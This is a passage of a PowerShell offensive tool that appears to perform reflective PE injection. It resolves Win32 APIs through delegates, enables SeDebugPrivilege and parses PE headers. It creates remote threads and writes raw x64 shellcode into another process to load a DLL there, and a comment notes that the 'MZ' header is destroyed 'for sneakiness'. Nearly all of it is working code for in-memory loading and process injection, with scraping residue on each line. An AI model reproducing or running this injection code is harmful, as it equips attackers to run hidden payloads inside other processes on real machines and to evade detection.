$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken | |
$GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread | |
$GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) | |
$GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread | |
$AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges | |
$AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) | |
$AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges | |
$LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA | |
$LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) | |
$LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue | |
$ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf | |
$ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) | |
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf | |
# NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP | |
if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { | |
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx | |
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) | |
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx | |
} | |
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process | |
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) | |
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process | |
$CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread | |
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) | |
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) | |
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread | |
return $Win32Functions | |
} | |
##################################### | |
##################################### | |
########### HELPERS ############ | |
##################################### | |
#Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function | |
#This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses | |
Function Sub-SignedIntAsUnsigned | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[Int64] | |
$Value1, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[Int64] | |
$Value2 | |
) | |
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) | |
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) | |
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) | |
if ($Value1Bytes.Count -eq $Value2Bytes.Count) | |
{ | |
$CarryOver = 0 | |
for ($i = 0; $i -lt $Value1Bytes.Count; $i++) | |
{ | |
$Val = $Value1Bytes[$i] - $CarryOver | |
#Sub bytes | |
if ($Val -lt $Value2Bytes[$i]) | |
{ | |
$Val += 256 | |
$CarryOver = 1 | |
} | |
else | |
{ | |
$CarryOver = 0 | |
} | |
[UInt16]$Sum = $Val - $Value2Bytes[$i] | |
$FinalBytes[$i] = $Sum -band 0x00FF | |
} | |
} | |
else | |
{ | |
Throw "Cannot subtract bytearrays of different sizes" | |
} | |
return [BitConverter]::ToInt64($FinalBytes, 0) | |
} | |
Function Add-SignedIntAsUnsigned | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[Int64] | |
$Value1, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[Int64] | |
$Value2 | |
) | |
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) | |
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) | |
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) | |
if ($Value1Bytes.Count -eq $Value2Bytes.Count) | |
{ | |
$CarryOver = 0 | |
for ($i = 0; $i -lt $Value1Bytes.Count; $i++) | |
{ | |
#Add bytes | |
[UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver | |
$FinalBytes[$i] = $Sum -band 0x00FF | |
if (($Sum -band 0xFF00) -eq 0x100) | |
{ | |
$CarryOver = 1 | |
} | |
else | |
{ | |
$CarryOver = 0 | |
} | |
} | |
} | |
else | |
{ | |
Throw "Cannot add bytearrays of different sizes" | |
} | |
return [BitConverter]::ToInt64($FinalBytes, 0) | |
} | |
Function Compare-Val1GreaterThanVal2AsUInt | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[Int64] | |
$Value1, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[Int64] | |
$Value2 | |
) | |
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) | |
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) | |
if ($Value1Bytes.Count -eq $Value2Bytes.Count) | |
{ | |
for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) | |
{ | |
if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) | |
{ | |
return $true | |
} | |
elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) | |
{ | |
return $false | |
} | |
} | |
} | |
else | |
{ | |
Throw "Cannot compare byte arrays of different size" | |
} | |
return $false | |
} | |
Function Convert-UIntToInt | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[UInt64] | |
$Value | |
) | |
[Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) | |
return ([BitConverter]::ToInt64($ValueBytes, 0)) | |
} | |
Function Get-Hex | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
$Value #We will determine the type dynamically | |
) | |
$ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2 | |
$Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first. | |
return $Hex | |
} | |
Function Test-MemoryRangeValid | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[String] | |
$DebugString, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[System.Object] | |
$PEInfo, | |
[Parameter(Position = 2, Mandatory = $true)] | |
[IntPtr] | |
$StartAddress, | |
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] | |
[IntPtr] | |
$Size | |
) | |
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) | |
$PEEndAddress = $PEInfo.EndAddress | |
if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) | |
{ | |
Throw "Trying to write to memory smaller than allocated address range. $DebugString" | |
} | |
if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) | |
{ | |
Throw "Trying to write to memory greater than allocated address range. $DebugString" | |
} | |
} | |
Function Write-BytesToMemory | |
{ | |
Param( | |
[Parameter(Position=0, Mandatory = $true)] | |
[Byte[]] | |
$Bytes, | |
[Parameter(Position=1, Mandatory = $true)] | |
[IntPtr] | |
$MemoryAddress | |
) | |
for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) | |
{ | |
[System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) | |
} | |
} | |
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ | |
Function Get-DelegateType | |
{ | |
Param | |
( | |
[OutputType([Type])] | |
[Parameter( Position = 0)] | |
[Type[]] | |
$Parameters = (New-Object Type[](0)), | |
[Parameter( Position = 1 )] | |
[Type] | |
$ReturnType = [Void] | |
) | |
$Domain = [AppDomain]::CurrentDomain | |
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') | |
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) | |
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) | |
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) | |
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) | |
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed') | |
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) | |
$MethodBuilder.SetImplementationFlags('Runtime, Managed') | |
Write-Output $TypeBuilder.CreateType() | |
} | |
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ | |
Function Get-ProcAddress | |
{ | |
Param | |
( | |
[OutputType([IntPtr])] | |
[Parameter( Position = 0, Mandatory = $True )] | |
[String] | |
$Module, | |
[Parameter( Position = 1, Mandatory = $True )] | |
[String] | |
$Procedure | |
) | |
# Get a reference to System.dll in the GAC | |
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | | |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } | |
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') | |
# Get a reference to the GetModuleHandle and GetProcAddress methods | |
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') | |
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') | |
# Get a handle to the module specified | |
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) | |
$tmpPtr = New-Object IntPtr | |
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) | |
# Return the address of the function | |
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) | |
} | |
Function Enable-SeDebugPrivilege | |
{ | |
Param( | |
[Parameter(Position = 1, Mandatory = $true)] | |
[System.Object] | |
$Win32Functions, | |
[Parameter(Position = 2, Mandatory = $true)] | |
[System.Object] | |
$Win32Types, | |
[Parameter(Position = 3, Mandatory = $true)] | |
[System.Object] | |
$Win32Constants | |
) | |
[IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() | |
if ($ThreadHandle -eq [IntPtr]::Zero) | |
{ | |
Throw "Unable to get the handle to the current thread" | |
} | |
[IntPtr]$ThreadToken = [IntPtr]::Zero | |
[Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) | |
if ($Result -eq $false) | |
{ | |
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) | |
{ | |
$Result = $Win32Functions.ImpersonateSelf.Invoke(3) | |
if ($Result -eq $false) | |
{ | |
Throw "Unable to impersonate self" | |
} | |
$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) | |
if ($Result -eq $false) | |
{ | |
Throw "Unable to OpenThreadToken." | |
} | |
} | |
else | |
{ | |
Throw "Unable to OpenThreadToken. Error code: $ErrorCode" | |
} | |
} | |
[IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) | |
$Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) | |
if ($Result -eq $false) | |
{ | |
Throw "Unable to call LookupPrivilegeValue" | |
} | |
[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) | |
[IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) | |
$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) | |
$TokenPrivileges.PrivilegeCount = 1 | |
$TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) | |
$TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) | |
$Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) | |
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value | |
if (($Result -eq $false) -or ($ErrorCode -ne 0)) | |
{ | |
#Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set | |
} | |
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) | |
} | |
Function Create-RemoteThread | |
{ | |
Param( | |
[Parameter(Position = 1, Mandatory = $true)] | |
[IntPtr] | |
$ProcessHandle, | |
[Parameter(Position = 2, Mandatory = $true)] | |
[IntPtr] | |
$StartAddress, | |
[Parameter(Position = 3, Mandatory = $false)] | |
[IntPtr] | |
$ArgumentPtr = [IntPtr]::Zero, | |
[Parameter(Position = 4, Mandatory = $true)] | |
[System.Object] | |
$Win32Functions | |
) | |
[IntPtr]$RemoteThreadHandle = [IntPtr]::Zero | |
$OSVersion = [Environment]::OSVersion.Version | |
#Vista and Win7 | |
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) | |
{ | |
#Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" | |
$RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) | |
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if ($RemoteThreadHandle -eq [IntPtr]::Zero) | |
{ | |
Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" | |
} | |
} | |
#XP/Win8 | |
else | |
{ | |
#Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" | |
$RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) | |
} | |
if ($RemoteThreadHandle -eq [IntPtr]::Zero) | |
{ | |
Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop | |
} | |
return $RemoteThreadHandle | |
} | |
Function Get-ImageNtHeaders | |
{ | |
Param( | |
[Parameter(Position = 0, Mandatory = $true)] | |
[IntPtr] | |
$PEHandle, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[System.Object] | |
$Win32Types | |
) | |
$NtHeadersInfo = New-Object System.Object | |
#Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness | |
$dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) | |
#Get IMAGE_NT_HEADERS | |
[IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) | |
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr | |
$imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) | |
#Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. | |
if ($imageNtHeaders64.Signature -ne 0x00004550) | |
{ | |
throw "Invalid IMAGE_NT_HEADER signature." | |
} | |
if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') | |
{ | |
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 | |
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true | |
} | |
else | |
{ | |
$ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) | |
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 | |
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false | |
} | |
return $NtHeadersInfo | |
} | |
#This function will get the information needed to allocated space in memory for the PE | |
Function Get-PEBasicInfo | |
{ | |
Param( | |
[Parameter( Position = 0, Mandatory = $true )] | |
[Byte[]] | |
$PEBytes, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[System.Object] | |
$Win32Types | |
) | |
$PEInfo = New-Object System.Object | |
#Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. | |
[IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) | |
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null | |
#Get NtHeadersInfo | |
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types | |
#Build a structure with the information which will be needed for allocating memory and writing the PE to memory | |
$PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) | |
$PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) | |
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) | |
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) | |
$PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) | |
#Free the memory allocated above, this isn't where we allocate the PE to memory | |
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) | |
return $PEInfo | |
} | |
#PEInfo must contain the following NoteProperties: | |
# PEHandle: An IntPtr to the address the PE is loaded to in memory | |
Function Get-PEDetailedInfo | |
{ | |
Param( | |
[Parameter( Position = 0, Mandatory = $true)] | |
[IntPtr] | |
$PEHandle, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[System.Object] | |
$Win32Types, | |
[Parameter(Position = 2, Mandatory = $true)] | |
[System.Object] | |
$Win32Constants | |
) | |
if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) | |
{ | |
throw 'PEHandle is null or IntPtr.Zero' | |
} | |
$PEInfo = New-Object System.Object | |
#Get NtHeaders information | |
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types | |
#Build the PEInfo object | |
$PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle | |
$PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) | |
$PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) | |
$PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) | |
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) | |
if ($PEInfo.PE64Bit -eq $true) | |
{ | |
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) | |
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr | |
} | |
else | |
{ | |
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) | |
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr | |
} | |
if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) | |
{ | |
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' | |
} | |
elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) | |
{ | |
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' | |
} | |
else | |
{ | |
Throw "PE file is not an EXE or DLL" | |
} | |
return $PEInfo | |
} | |
Function Import-DllInRemoteProcess | |
{ | |
Param( | |
[Parameter(Position=0, Mandatory=$true)] | |
[IntPtr] | |
$RemoteProcHandle, | |
[Parameter(Position=1, Mandatory=$true)] | |
[IntPtr] | |
$ImportDllPathPtr | |
) | |
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) | |
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) | |
$DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) | |
$RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) | |
if ($RImportDllPathPtr -eq [IntPtr]::Zero) | |
{ | |
Throw "Unable to allocate memory in the remote process" | |
} | |
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero | |
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) | |
if ($Success -eq $false) | |
{ | |
Throw "Unable to write DLL path to remote process memory" | |
} | |
if ($DllPathSize -ne $NumBytesWritten) | |
{ | |
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" | |
} | |
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") | |
$LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes | |
[IntPtr]$DllAddress = [IntPtr]::Zero | |
#For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address | |
# Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. | |
if ($PEInfo.PE64Bit -eq $true) | |
{ | |
#Allocate memory for the address returned by LoadLibraryA | |
$LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) | |
if ($LoadLibraryARetMem -eq [IntPtr]::Zero) | |
{ | |
Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" | |
} | |
#Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) | |
$LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) | |
$LoadLibrarySC2 = @(0x48, 0xba) | |
$LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) | |
$LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) | |
$SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) | |
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) | |
$SCPSMemOriginal = $SCPSMem | |
Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) | |
Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) | |
Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) | |
Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem | |
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) | |
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) | |
if ($RSCAddr -eq [IntPtr]::Zero) | |
{ | |
Throw "Unable to allocate memory in the remote process for shellcode" | |
} | |
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) | |
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) | |
{ | |
Throw "Unable to write shellcode to remote process memory." | |
} | |
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions | |
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) | |
if ($Result -ne 0) | |
{ | |
Throw "Call to CreateRemoteThread to call GetProcAddress failed." | |
} | |
#The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory | |
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) | |
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) | |
if ($Result -eq $false) | |
{ | |
Throw "Call to ReadProcessMemory failed" | |
} | |
[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) | |
